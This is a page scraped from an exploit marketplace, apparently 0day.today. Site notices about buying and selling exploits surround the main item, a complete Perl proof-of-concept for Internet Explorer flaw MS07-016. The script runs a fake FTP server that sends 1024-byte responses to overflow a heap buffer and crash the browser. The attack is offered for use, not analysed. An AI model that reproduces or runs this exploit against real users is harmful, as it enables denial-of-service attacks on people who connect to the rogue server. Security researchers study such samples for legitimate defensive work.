0day.today - Biggest Exploit Database in the World.
Things you should know about 0day.today:
Administration of this site uses the official contacts. Beware of impostors!
- We use one main domain: http://0day.today
- Most of the materials is completely FREE
- If you want to purchase the exploit / get V.I.P. access or pay for any other service,
you need to buy or earn GOLD
Administration of this site uses the official contacts. Beware of impostors!
We DO NOT use Telegram or any messengers / social networks!
Please, beware of scammers!
Please, beware of scammers!
- Read the [ agreement ]
- Read the [ Submit ] rules
- Visit the [ faq ] page
- [ Register ] profile
- Get [ GOLD ]
- If you want to [ sell ]
- If you want to [ buy ]
- If you lost [ Account ]
- Any questions [ admin@0day.today ]
- Authorisation page
- Registration page
- Restore account page
- FAQ page
- Contacts page
- Publishing rules
- Agreement page
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
You can contact us by:
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
MS Internet Explorer (FTP Server Response) DoS Exploit (MS07-016)
================================================================= MS Internet Explorer (FTP Server Response) DoS Exploit (MS07-016) ================================================================= #!/usr/bin/perl # MS 07-016 FTP Server Response PoC # Usage: ./ms07016ftp.pl [LISTEN_IP] # # Tested Against: MSIE 6.02900.2180 (SP2) # # Details: The response is broken into buffers, either at length 1024, # or at '\r\n'. Each buffer is apended with \x00, without # bounds checking. If the response is exctly 1024 characters # in length, you will overflow the heap with the string \x00. use IO::Socket; use strict; # Create listener my $ip=shift || '127.0.0.1'; my $sock = IO::Socket::INET->new(Listen=>1, LocalHost=>$ip, LocalPort=>'21', Proto=>'tcp'); $sock or die ("Could not create listener.\nMake sure no FTP server is running, and you are running this as root.\n"); # Wait for initial connection and send banner my $sock_in = $sock->accept(); print $sock_in "220 waa waa wee waa\r\n"; # Send response code with total lenght of response = 1024 while (<$sock_in>){ my $response; if($_ eq "USER") { $response="331 ";} elsif($_ eq "PASS") { $response="230 ";} elsif($_ eq "syst") { $response="215 ";} elsif($_ eq "CWD") { $response="250 ";} elsif($_ eq "PWD") { $response="230 ";} else { $response="200 ";} print $sock_in $response."A"x(1024-length($response)-2)."\r\n"; } close($sock); # 0day.today [2024-11-16] #